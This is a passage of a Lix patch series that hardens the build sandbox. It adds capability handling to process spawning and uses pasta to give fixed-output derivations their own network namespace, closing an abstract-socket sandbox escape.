-index 69e654490..48d38ffb4 100644
---- a/lix/libstore/build/derivation-goal.cc
-+++ b/lix/libstore/build/derivation-goal.cc
-@@ -891,7 +891,7 @@ void runPostBuildHook(
-         .program = settings.postBuildHook,
-         .environment = hookEnvironment,
-         .captureStdout = true,
--        .mergeStderrToStdout = true,
-+        .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
-     });
-     Finally const _wait([&] {
-         try {
-diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc
-index 9221da32b..b4328b068 100644
---- a/lix/libstore/globals.cc
-+++ b/lix/libstore/globals.cc
-@@ -242,9 +242,17 @@ StringSet Settings::getDefaultExtraPlatforms()
-     // machines. Note that we can’t force processes from executing
-     // x86_64 in aarch64 environments or vice versa since they can
-     // always exec with their own binary preferences.
--    if (std::string{SYSTEM} == "aarch64-darwin" &&
--        runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0)
-+    if (std::string{SYSTEM} == "aarch64-darwin"
-+        && runProgram(RunOptions{
-+                          .program = "arch",
-+                          .args = {"-arch", "x86_64", "/usr/bin/true"},
-+                          .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}
-+                      }
-+           ).first
-+            == 0)
-+    {
-         extraPlatforms.insert("x86_64-darwin");
-+    }
- #endif
- 
-     return extraPlatforms;
-diff --git a/lix/libstore/ssh.cc b/lix/libstore/ssh.cc
-index b43cc50a9..2b329f231 100644
---- a/lix/libstore/ssh.cc
-+++ b/lix/libstore/ssh.cc
-@@ -8,6 +8,7 @@
- #include "lix/libutil/strings.hh"
- #include "lix/libstore/temporary-dir.hh"
- #include <sys/socket.h>
-+#include <unistd.h>
- 
- namespace nix {
- 
-diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc
-index 6b24d943f..0dcd96ba9 100644
---- a/lix/libutil/processes.cc
-+++ b/lix/libutil/processes.cc
-@@ -330,9 +330,11 @@ RunningProgram runProgram2(const RunOptions & options)
-             replaceEnv(*options.environment);
-         if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1)
-             throw SysError("dupping stdout");
--        if (options.mergeStderrToStdout)
--            if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1)
--                throw SysError("cannot dup stdout into stderr");
-+        for (auto redirection : options.redirections) {
-+            if (dup2(redirection.to, redirection.from) == -1) {
-+                throw SysError("dupping fd %i to %i", redirection.from, redirection.to);
-+            }
-+        }
- 
-         if (options.chdir && chdir((*options.chdir).c_str()) == -1)
-             throw SysError("chdir failed");
-diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh
-index 01c42b9fc..3311b8fb8 100644
---- a/lix/libutil/processes.hh
-+++ b/lix/libutil/processes.hh
-@@ -76,6 +76,11 @@ std::string runProgram(Path program, bool searchPath = false,
- 
- struct RunOptions
- {
-+    struct Redirection
-+    {
-+        int from, to;
-+    };
-+
-     Path program;
-     bool searchPath = true;
-     Strings args = {};
-@@ -84,8 +89,8 @@ struct RunOptions
-     std::optional<Path> chdir = {};
-     std::optional<std::map<std::string, std::string>> environment = {};
-     bool captureStdout = false;
--    bool mergeStderrToStdout = false;
-     bool isInteractive = false;
-+    std::vector<Redirection> redirections;
- };
- 
- struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram
--- 
-2.49.0
-
-
-From 582f775ac358f9da682f707a3f58f228f7fdaed8 Mon Sep 17 00:00:00 2001
-From: eldritch horrors <pennae@lix.systems>
-Date: Fri, 28 Mar 2025 23:16:01 +0100
-Subject: [SECURITY FIX 09/12] libutil: add capability support to runProgram2
-
-launching pasta to not run as root will ambient require capabilities.
-
-Change-Id: I1dd2506a1fa3944a9d9062123ef8a74903c597ea
----
- lix/libutil/processes.cc | 47 ++++++++++++++++++++++++++++++++++++++++
- lix/libutil/processes.hh |  3 +++
- 2 files changed, 50 insertions(+)
-
-diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc
-index 0dcd96ba9..2f214e552 100644
---- a/lix/libutil/processes.cc
-+++ b/lix/libutil/processes.cc
-@@ -22,6 +22,7 @@
- #endif
- 
- #ifdef __linux__
-+# include <linux/capability.h>
- # include <sys/prctl.h>
- # include <sys/mman.h>
- #endif
-@@ -338,6 +339,13 @@ RunningProgram runProgram2(const RunOptions & options)
- 
-         if (options.chdir && chdir((*options.chdir).c_str()) == -1)
-             throw SysError("chdir failed");
-+
-+#if __linux__
-+        if (!options.caps.empty() && prctl(PR_SET_KEEPCAPS, 1) < 0) {
-+            throw SysError("setting keep-caps failed");
-+        }
-+#endif
-+
-         if (options.gid && setgid(*options.gid) == -1)
-             throw SysError("setgid failed");
-         /* Drop all other groups if we're setgid. */
-@@ -346,6 +354,45 @@ RunningProgram runProgram2(const RunOptions & options)
-         if (options.uid && setuid(*options.uid) == -1)
-             throw SysError("setuid failed");
- 
-+#if __linux__
-+        if (!options.caps.empty()) {
-+            if (prctl(PR_SET_KEEPCAPS, 0)) {
-+                throw SysError("clearing keep-caps failed");
-+            }
-+
-+            // we do the capability dance like this to avoid a dependency
-+            // on libcap, which has a rather large build closure and many
-+            // more features that we need for now. maybe some other time.
-+            static constexpr uint32_t LINUX_CAPABILITY_VERSION_3 = 0x20080522;
-+            static constexpr uint32_t LINUX_CAPABILITY_U32S_3 = 2;
-+            struct user_cap_header_struct
-+            {
-+                uint32_t version;
-+                int pid;
-+            } hdr = {LINUX_CAPABILITY_VERSION_3, 0};
-+            struct user_cap_data_struct
-+            {
-+                uint32_t effective;
-+                uint32_t permitted;
-+                uint32_t inheritable;
-+            } data[LINUX_CAPABILITY_U32S_3] = {};
-+            for (auto cap : options.caps) {
-+                assert(cap / 32 < LINUX_CAPABILITY_U32S_3);
-+                data[cap / 32].permitted |= 1 << (cap % 32);
-+                data[cap / 32].inheritable |= 1 << (cap % 32);
-+            }
-+            if (syscall(SYS_capset, &hdr, data)) {
-+                throw SysError("couldn't set capabilities");
-+            }
-+
-+            for (auto cap : options.caps) {
-+                if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0) < 0) {
-+                    throw SysError("couldn't set ambient caps");
-+                }
-+            }
-+        }
-+#endif
-+
-         Strings args_(options.args);
-         args_.push_front(options.program);
- 
-diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh
-index 3311b8fb8..6ca7f3bdf 100644
---- a/lix/libutil/processes.hh
-+++ b/lix/libutil/processes.hh
-@@ -91,6 +91,9 @@ struct RunOptions
-     bool captureStdout = false;
-     bool isInteractive = false;
-     std::vector<Redirection> redirections;
-+#if __linux__
-+    std::set<long> caps;
-+#endif
- };
- 
- struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram
--- 
-2.49.0
-
-
-From 6a61eea281de2c4d7d2b4f375511db0dacfec5ec Mon Sep 17 00:00:00 2001
-From: eldritch horrors <pennae@lix.systems>
-Date: Fri, 28 Mar 2025 23:04:56 +0100
-Subject: [SECURITY FIX 10/12] libstore: use pasta for FODs if available
-
-This allows using a userspace program, pasta, to handle comms between
-the build sandbox, and the outside world; allowing for full isolation
-including the network namespace, closing the "fixed-output derivation
-talks to the host over an abstract domain socket" hole for good.
-
-Co-Authored-By: Puck Meerburg <puck@puckipedia.com>
-Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15
----
- doc/manual/rl-next/pasta.md                 |  20 +++
- lix/libstore/build/local-derivation-goal.cc |  40 +++++-
- lix/libstore/build/local-derivation-goal.hh |  15 +++
- lix/libstore/globals.cc                     |   3 +
- lix/libstore/meson.build                    |   7 ++
- lix/libstore/platform/linux.cc              | 133 +++++++++++++++++++-
- lix/libstore/platform/linux.hh              |  18 +++
- lix/libstore/settings/pasta-path.md         |  10 ++
- meson.build                                 |   7 ++
- meson.options                               |   4 +
- misc/passt.nix                              |  64 ++++++++++
- package.nix                                 |   6 +
- tests/nixos/ca-fd-leak/default.nix          |  90 -------------
- tests/nixos/ca-fd-leak/sender.c             |  65 ----------
- tests/nixos/ca-fd-leak/smuggler.c           |  66 ----------
- tests/nixos/default.nix                     |   2 -
- tests/nixos/fetchurl.nix                    |   2 +-
- 17 files changed, 323 insertions(+), 229 deletions(-)
- create mode 100644 doc/manual/rl-next/pasta.md
- create mode 100644 lix/libstore/settings/pasta-path.md
- create mode 100644 misc/passt.nix
- delete mode 100644 tests/nixos/ca-fd-leak/default.nix
- delete mode 100644 tests/nixos/ca-fd-leak/sender.c
- delete mode 100644 tests/nixos/ca-fd-leak/smuggler.c
-
-diff --git a/doc/manual/rl-next/pasta.md b/doc/manual/rl-next/pasta.md
-new file mode 100644
-index 000000000..a7b7aa952
---- /dev/null
-+++ b/doc/manual/rl-next/pasta.md
-@@ -0,0 +1,20 @@
-+---
-+synopsis: "Fixed output derivations can be run using `pasta` network isolation"
-+cls: []
-+issues: [fj#285]
-+category: "Breaking Changes"
-+credits: [horrors, puck]
-+---
-+
-+Fixed output derivations traditionally run in the host network namespace.
-+On Linux this allows such derivations to communicate with other sandboxes
-+or the host using the abstract Unix domains socket namespace; this hasn't
-+been unproblematic in the past and has been used in two distinct exploits
-+to break out of the sandbox. For this reason fixed output derivations can
-+now run in a network namespace (provided by [`pasta`]), restricted to TCP
-+and UDP communication with the rest of the world. When enabled this could
-+be a breaking change and we classify it as such, even though we don't yet
-+enable or require such isolation by default. We may enforce this in later
-+releases of Lix once we have sufficient confidence that breakage is rare.
-+
-+[`pasta`]: https://passt.top/
-diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
-index c33bd8283..7ccb0ad33 100644
---- a/lix/libstore/build/local-derivation-goal.cc
-+++ b/lix/libstore/build/local-derivation-goal.cc
-@@ -13,6 +13,8 @@
- #include "lix/libutil/archive.hh"
- #include "lix/libstore/daemon.hh"
- #include "lix/libutil/regex.hh"
-+#include "lix/libutil/file-descriptor.hh"
-+#include "lix/libutil/file-system.hh"
- #include "lix/libutil/result.hh"
- #include "lix/libutil/topo-sort.hh"
- #include "lix/libutil/json.hh"
-@@ -24,6 +26,7 @@
- #include "lix/libutil/mount.hh"
- #include "lix/libutil/strings.hh"
- #include "lix/libutil/thread-name.hh"
-+#include "platform/linux.hh"
- 
- #include <cstddef>
- #include <exception>
-@@ -1073,7 +1076,7 @@ void LocalDerivationGoal::runChild()
-                 /* N.B. it is realistic that these paths might not exist. It
-                    happens when testing Nix building fixed-output derivations
-                    within a pure derivation. */
--                for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" })
-+                for (auto & path : { "/etc/services", "/etc/hosts" })
-                     if (pathExists(path)) {
-                         // Copy the actual file, not the symlink, because we don't know where
-                         // the symlink is pointing, and we don't want to chase down the entire
-@@ -1094,6 +1097,11 @@ void LocalDerivationGoal::runChild()
-                         copyFile(path, chrootRootDir + path, { .followSymlinks = true });
-                     }
- 
-+                if (pathExists("/etc/resolv.conf")) {
-+                    const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf"));
-+                    writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf);
-+                }
-+
-                 if (settings.caFile != "" && pathExists(settings.caFile)) {
-                     // For the same reasons as above, copy the CA certificates file too.
-                     // It should be even less likely to change during the build than resolv.conf.
-@@ -1221,6 +1229,36 @@ void LocalDerivationGoal::runChild()
-             if (setuid(sandboxUid()) == -1)
-                 throw SysError("setuid failed");
- 
-+            if (runPasta) {
-+                // wait for the pasta interface to appear. pasta can't signal us when
-+                // it's done setting up the namespace, so we have to wait for a while
-+                AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-+                if (!fd) throw SysError("cannot open IP socket");
-+
-+                struct ifreq ifr;
-+                strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME);
-+                // wait two minutes for the interface to appear. if it does not do so
-+                // we are either grossly overloaded, or pasta startup failed somehow.
-+                static constexpr int SINGLE_WAIT_US = 1000;
-+                static constexpr int TOTAL_WAIT_US = 120'000'000;
-+                for (unsigned tries = 0; ; tries++) {
-+                    if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) {
-+                        throw Error(
-+                            "sandbox network setup timed out, please check daemon logs for "
-+                            "possible error output."
-+                        );
-+                    } else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) {
-+                        if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) {
-+                            break;
-+                        }
-+                    } else if (errno == ENODEV) {
-+                        usleep(SINGLE_WAIT_US);
-+                    } else {
-+                        throw SysError("cannot get loopback interface flags");
-+                    }
-+                }
-+            }
-+
-             setUser = false;
-         }
- #endif
-diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh
-index eb2fe50f3..a0031e141 100644
---- a/lix/libstore/build/local-derivation-goal.hh
-+++ b/lix/libstore/build/local-derivation-goal.hh
-@@ -285,6 +285,12 @@ struct LocalDerivationGoal : public DerivationGoal
- protected:
-     using DerivationGoal::DerivationGoal;
- 
-+    /**
-+     * Whether to run pasta for network-endowed derivations. Running pasta
-+     * currently requires actively waiting for its net-ns setup to finish.
-+     */
-+    bool runPasta = false;
-+
-     /**
-      * Setup dependencies outside the sandbox.
-      * Called in the parent nix process.
-@@ -294,6 +300,15 @@ protected:
-         throw Error("sandboxing builds is not supported on this platform");
-     };
- 
-+    /**
-+     * Rewrite resolv.conf for use in the sandbox. Used in the linux platform
-+     * to replace nameservers * when using pasta for fixed output derivations.
-+     */
-+    virtual std::string rewriteResolvConf(std::string fromHost)
-+    {
-+        return fromHost;
-+    }
-+
-     /**
-      * Create a new process that runs `openSlave` and `runChild`
-      * On some platforms this process is created with sandboxing flags.
-diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc
-index b4328b068..7fc4c6a21 100644
---- a/lix/libstore/globals.cc
-+++ b/lix/libstore/globals.cc
-@@ -87,6 +87,9 @@ Settings::Settings()
- #if defined(__linux__) && defined(SANDBOX_SHELL)
-     sandboxPaths.setDefault(tokenizeString<StringSet>("/bin/sh=" SANDBOX_SHELL));
- #endif
-+#if defined(__linux__) && defined(PASTA_PATH)
-+    pastaPath.setDefault(PASTA_PATH);
-+#endif
- 
-     /* chroot-like behavior from Apple's sandbox */
- #if __APPLE__
-diff --git a/lix/libstore/meson.build b/lix/libstore/meson.build
-index e59ae01b5..628ec1e55 100644
---- a/lix/libstore/meson.build
-+++ b/lix/libstore/meson.build
-@@ -82,6 +82,7 @@ libstore_setting_definitions = files(
-   'settings/narinfo-cache-negative-ttl.md',
-   'settings/narinfo-cache-positive-ttl.md',
-   'settings/netrc-file.md',
-+  'settings/pasta-path.md',
-   'settings/plugin-files.md',
-   'settings/post-build-hook.md',
-   'settings/pre-build-hook.md',
-@@ -326,6 +327,12 @@ elif busybox.found()
-   }
- endif
- 
-+if pasta.found()
-+  cpp_str_defines += {
-+    'PASTA_PATH': pasta.full_path(),
-+  }
-+endif
-+
- cpp_args = []
- 
- foreach name, value : cpp_str_defines
-diff --git a/lix/libstore/platform/linux.cc b/lix/libstore/platform/linux.cc
-index f8b721475..722135081 100644
---- a/lix/libstore/platform/linux.cc
-+++ b/lix/libstore/platform/linux.cc
-@@ -1,16 +1,25 @@
- #include "lix/libstore/build/worker.hh"
- #include "lix/libutil/cgroup.hh"
-+#include "lix/libutil/file-descriptor.hh"
-+#include "lix/libutil/file-system.hh"
- #include "lix/libutil/finally.hh"
- #include "lix/libstore/gc-store.hh"
-+#include "lix/libutil/processes.hh"
- #include "lix/libutil/signals.hh"
- #include "lix/libstore/platform/linux.hh"
- #include "lix/libutil/regex.hh"
- #include "lix/libutil/strings.hh"
- 
-+#include <csignal>
-+#include <cstdlib>
- #include <grp.h>
- #include <regex>
- #include <sys/prctl.h>
- 
-+#if __linux__
-+#include <linux/capability.h>
-+#endif
-+
- #if HAVE_SECCOMP
- #include <linux/filter.h>
- #include <sys/syscall.h>
-@@ -61,6 +70,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots)
-     }
- }
- 
-+LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal()
-+{
-+    // pasta being left around mostly happens when builds are aborted
-+    if (pastaPid) {
-+        pastaPid.kill();
-+    }
-+}
-+
- void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked)
- {
-     auto procDir = AutoCloseDir{opendir("/proc")};
-@@ -859,6 +876,26 @@ void LinuxLocalDerivationGoal::prepareSandbox()
-     }
- }
- 
-+std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost)
-+{
-+    if (!runPasta) {
-+        return fromHost;
-+    }
-+
-+    static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline;
-+    static auto lineRegex = regex::parse("^nameserver\\s.*$", flags);
-+    static auto v4Regex = regex::parse("^nameserver\\s+\\d{1,3}\\.", flags);
-+    static auto v6Regex = regex::parse("^nameserver.*:", flags);
-+    std::string nsInSandbox = "\n";
-+    if (std::regex_search(fromHost, v4Regex)) {
-+        nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4);
-+    }
-+    if (std::regex_search(fromHost, v6Regex)) {
-+        nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6);
-+    }
-+    return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox;
-+}
-+
- Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
- {
- #if HAVE_SECCOMP
-@@ -886,9 +923,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
- 
-        - The private network namespace ensures that the builder
-          cannot talk to the outside world (or vice versa).  It
--         only has a private loopback interface. (Fixed-output
--         derivations are not run in a private network namespace
--         to allow functions like fetchurl to work.)
-+         only has a private loopback interface. If a copy of
-+         `pasta` is available, Fixed-output derivations are run
-+         inside a private network namespace with internet
-+         access, otherwise they are run in the host's network
-+         namespace, to allow functions like fetchurl to work.
- 
-        - The IPC namespace prevents the builder from communicating
-          with outside processes using SysV IPC mechanisms (shared
-@@ -909,6 +948,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
-     if (derivationType->isSandboxed())
-         privateNetwork = true;
- 
-+    // don't launch pasta unless we have a tun device. in a build sandbox we
-+    // commonly do not, and trying to run pasta anyway naturally won't work.
-+    runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun");
-+
-     userNamespaceSync.create();
- 
-     Pipe sendPid;
-@@ -933,7 +976,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
- 
-         ProcessOptions options;
-         options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD;
--        if (privateNetwork)
-+        // we always want to create a new network namespace for pasta, even when
-+        // we can't actually run it. not doing so hides bugs and impairs purity.
-+        if (settings.pastaPath != "" || privateNetwork)
-             options.cloneFlags |= CLONE_NEWNET;
-         if (usingUserNamespace)
-             options.cloneFlags |= CLONE_NEWUSER;
-@@ -1004,6 +1049,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
-     /* Signal the builder that we've updated its user namespace. */
-     writeFull(userNamespaceSync.writeSide.get(), "1");
- 
-+    if (runPasta) {
-+        // Bring up pasta, for handling FOD networking. We don't let it daemonize
-+        // itself for process managements reasons and kill it manually when done.
-+
-+        // TODO add a new sandbox mode flag to disable all or parts of this?
-+        Strings args = {
-+            // clang-format off
-+            "--quiet",
-+            "--foreground",
-+            "--config-net",
-+            "--gateway", PASTA_HOST_IPV4,
-+            "--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK,
-+            "--dns-forward", PASTA_HOST_IPV4,
-+            "--gateway", PASTA_HOST_IPV6,
-+            "--address", PASTA_CHILD_IPV6,
-+            "--dns-forward", PASTA_HOST_IPV6,
-+            "--ns-ifname", PASTA_NS_IFNAME,
-+            "--no-netns-quit",
-+            "--netns", "/proc/self/fd/0",
-+            // clang-format on
-+        };
-+
-+        AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
-+        if (!netns) {
-+            throw SysError("failed to open netns");
-+        }
-+
-+        AutoCloseFD userns;
-+        if (usingUserNamespace) {
-+            userns =
-+                AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
-+            if (!userns) {
-+                throw SysError("failed to open userns");
-+            }
-+            args.push_back("--userns");
-+            args.push_back("/proc/self/fd/1");
-+        }
-+
-+        // FIXME ideally we want a notification when pasta exits, but we cannot do
-+        // this at present. without such support we need to busy-wait for pasta to
-+        // set up the namespace completely and time out after a while for the case
-+        // of pasta launch failures. pasta logs go to syslog only for now as well.
-+        pastaPid = runProgram2({
-+            .program = settings.pastaPath,
-+            .args = args,
-+            .uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt,
-+            .gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt,
-+            // TODO these redirections are crimes. pasta closes all non-stdio file
-+            // descriptors very early and lacks fd arguments for the namespaces we
-+            // want it to join. we cannot have pasta join the namespaces via pids;
-+            // doing so requires capabilities which pasta *also* drops very early.
-+            .redirections = {
-+                {.from = 0, .to = netns.get()},
-+                {.from = 1, .to = userns ? userns.get() : 1},
-+            },
-+            .caps = getuid() == 0
-+                ? std::set<long>{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE}
-+                : std::set<long>{},
-+        });
-+    }
-+
-     return pid;
- }
- 
-@@ -1050,5 +1156,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats)
-            This avoids processes unrelated to the build being killed, thus avoiding: https://git.lix.systems/lix-project/lix/issues/667 */
-         LocalDerivationGoal::killSandbox(getStats);
-     }
-+
-+    if (pastaPid) {
-+        // FIXME we really want to send SIGTERM instead and wait for pasta to exit,
-+        // but we do not have the infra for that right now. we send SIGKILL instead
-+        // and treat exiting with that as a successful exit code until such a time.
-+        // this is not likely to cause problems since pasta runs as the build user,
-+        // but not inside the build sandbox. if it's killed it's either due to some
-+        // external influence (in which case the sandboxed child will probably fail
-+        // due to network errors, if it used the network at all) or some bug in lix
-+        if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) {
-+            if (WIFSIGNALED(status)) {
-+                throw Error("pasta killed by signal %i", WTERMSIG(status));
-+            } else if (WIFEXITED(status)) {
-+                throw Error("pasta exited with code %i", WEXITSTATUS(status));
-+            } else {
-+                throw Error("pasta exited with status %i", status);
-+            }
-+        }
-+    }
- }
- }
-diff --git a/lix/libstore/platform/linux.hh b/lix/libstore/platform/linux.hh
-index 9dba7f1de..47e33f240 100644
---- a/lix/libstore/platform/linux.hh
-+++ b/lix/libstore/platform/linux.hh
-@@ -4,6 +4,7 @@
- #include "lix/libstore/build/local-derivation-goal.hh"
- #include "lix/libstore/gc-store.hh"
- #include "lix/libstore/local-store.hh"
-+#include "lix/libutil/processes.hh"
- 
- namespace nix {
- 
-@@ -33,6 +34,20 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal
- public:
-     using LocalDerivationGoal::LocalDerivationGoal;
- 
-+    ~LinuxLocalDerivationGoal();
-+
-+    // NOTE these are all C strings because macos doesn't have constexpr std::string
-+    // constructors, and std::string_view is a pain to turn into std::strings again.
-+    static constexpr const char * PASTA_NS_IFNAME = "eth0";
-+    static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1";
-+    static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2";
-+    static constexpr const char * PASTA_IPV4_NETMASK = "16";
-+    // randomly chosen 6to4 prefix, mapping the same ipv4ll as above.
-+    // even if this id is used on the daemon host there should not be
-+    // any collisions since ipv4ll should never be addressed by ipv6.
-+    static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101";
-+    static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102";
-+
- private:
-     /*
-      * Destroy the cgroup otherwise another build
-@@ -41,6 +56,8 @@ private:
-      */
-     void cleanupHookFinally() override;
- 
-+    RunningProgram pastaPid;
-+
-     /**
-      * Create and populate chroot
-      */
-@@ -68,6 +85,7 @@ private:
-         return true;
-     }
- 
-+    std::string rewriteResolvConf(std::string fromHost) override;
- };
- 
- }
-diff --git a/lix/libstore/settings/pasta-path.md b/lix/libstore/settings/pasta-path.md
-new file mode 100644
-index 000000000..1df3600df
---- /dev/null
-+++ b/lix/libstore/settings/pasta-path.md
-@@ -0,0 +1,10 @@
-+---
-+name: pasta-path
-+internalName: pastaPath
-+type: Path
-+default: ""
-+---
-+If set to an absolute path, enables fully sandboxing fixed-output
-+derivations, by using `pasta` to pass network traffic between the
-+private network namespace. This allows for greater levels of isolation
-+of builds to the host.
-diff --git a/meson.build b/meson.build
-index 92b4c05ec..adcea1142 100644
---- a/meson.build
-+++ b/meson.build
-@@ -452,6 +452,13 @@ configdata += {
-   'HAVE_DTRACE': dtrace_feature.enabled().to_int(),
- }
- 
-+pasta_path = get_option('pasta-path')
-+# we can't check the pasta version because passt misuses stdio (it calls _exit()
-+# after printing the version, which will never print the version unless run from
-+# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential.
-+# we *will* enable it in our own packaging, but distributions are not forced to.
-+pasta = find_program(pasta_path, required : false, native : false)
-+
- lsof = find_program('lsof', native : true)
- 
- # This is how Nix does generated headers...
-diff --git a/meson.options b/meson.options
-index 8d5eed0bc..50caa32c4 100644
---- a/meson.options
-+++ b/meson.options
-@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox',
-   description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)',
- )
- 
-+option('pasta-path', type : 'string', value : 'pasta',
-+  description : 'path to the location of pasta (provided by passt)',
-+)
-+
- option('enable-tests', type : 'boolean', value : true,
-   description : 'whether to enable tests or not (requires rapidcheck and gtest)',
- )
-diff --git a/misc/passt.nix b/misc/passt.nix
-new file mode 100644
-index 000000000..3c0c633fa
---- /dev/null
-+++ b/misc/passt.nix
-@@ -0,0 +1,64 @@
-+{
-+  lib,
-+  stdenv,
-+  buildPackages,
-+  fetchurl,
-+  getconf,
-+  gitUpdater,
-+  testers,
-+}:
-+
-+stdenv.mkDerivation (finalAttrs: {
-+  pname = "passt";
-+  version = "2025_02_17.a1e48a0";
-+
-+  src = fetchurl {
-+    url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz";
-+    hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE=";
-+  };
-+
-+  postPatch = ''
-+    substituteInPlace Makefile --replace-fail \
-+      'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \
-+      "PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)"
-+  '';
-+
-+  makeFlags = [
-+    "prefix=${placeholder "out"}"
-+    "VERSION=${finalAttrs.version}"
-+  ];
-+
-+  passthru = {
-+    tests.version = testers.testVersion {
-+      package = finalAttrs.finalPackage;
-+    };
-+
-+    updateScript = gitUpdater {
-+      url = "https://passt.top/passt";
-+    };
-+  };
-+
-+  meta = with lib; {
-+    homepage = "https://passt.top/passt/about/";
-+    description = "Plug A Simple Socket Transport";
-+    longDescription = ''
-+      passt implements a translation layer between a Layer-2 network interface
-+      and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host.
-+      It doesn't require any capabilities or privileges, and it can be used as
-+      a simple replacement for Slirp.
-+
-+      pasta (same binary as passt, different command) offers equivalent
-+      functionality, for network namespaces: traffic is forwarded using a tap
-+      interface inside the namespace, without the need to create further
-+      interfaces on the host, hence not requiring any capabilities or
-+      privileges.
-+    '';
-+    license = [
-+      licenses.bsd3 # and
-+      licenses.gpl2Plus
-+    ];
-+    platforms = platforms.linux;
-+    maintainers = with maintainers; [ _8aed ];
-+    mainProgram = "passt";
-+  };
-+})
-diff --git a/package.nix b/package.nix
-index 3a2e08c8c..f1fd1b1f9 100644
---- a/package.nix
-+++ b/package.nix
-@@ -45,6 +45,8 @@
-   ninja,
-   ncurses,
-   openssl,
-+  # FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later
-+  passt-lix ? __forDefaults.passt-lix,
-   pegtl,
-   pkg-config,
-   python3,
-@@ -116,6 +118,8 @@
-     # needs derivation patching to add debuginfo and coroutine library support
-     # !! must build this with clang as it is affected by the gcc coroutine bugs
-     capnproto-lix = callPackage ./misc/capnproto.nix { inherit stdenv; };
-+
-+    passt-lix = callPackage ./misc/passt.nix { };
-   },
- }:
- 
-@@ -249,6 +253,7 @@ stdenv.mkDerivation (finalAttrs: {
-       # which don't actually get added to PATH. And buildInputs is correct over
-       # nativeBuildInputs since this should be a busybox executable on the host.
-       "-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}"
-+      "-Dpasta-path=${lib.getExe' passt-lix "pasta"}"
-     ]
-     ++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true"
-     ++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false"
-@@ -334,6 +339,7 @@ stdenv.mkDerivation (finalAttrs: {
-     ++ lib.optionals hostPlatform.isLinux [
-       libseccomp
-       busybox-sandbox-shell
-+      passt-lix
-     ]
-     ++ lib.optionals (
-       stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "11.0"
-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
-deleted file mode 100644
-index a6ae72adc..000000000
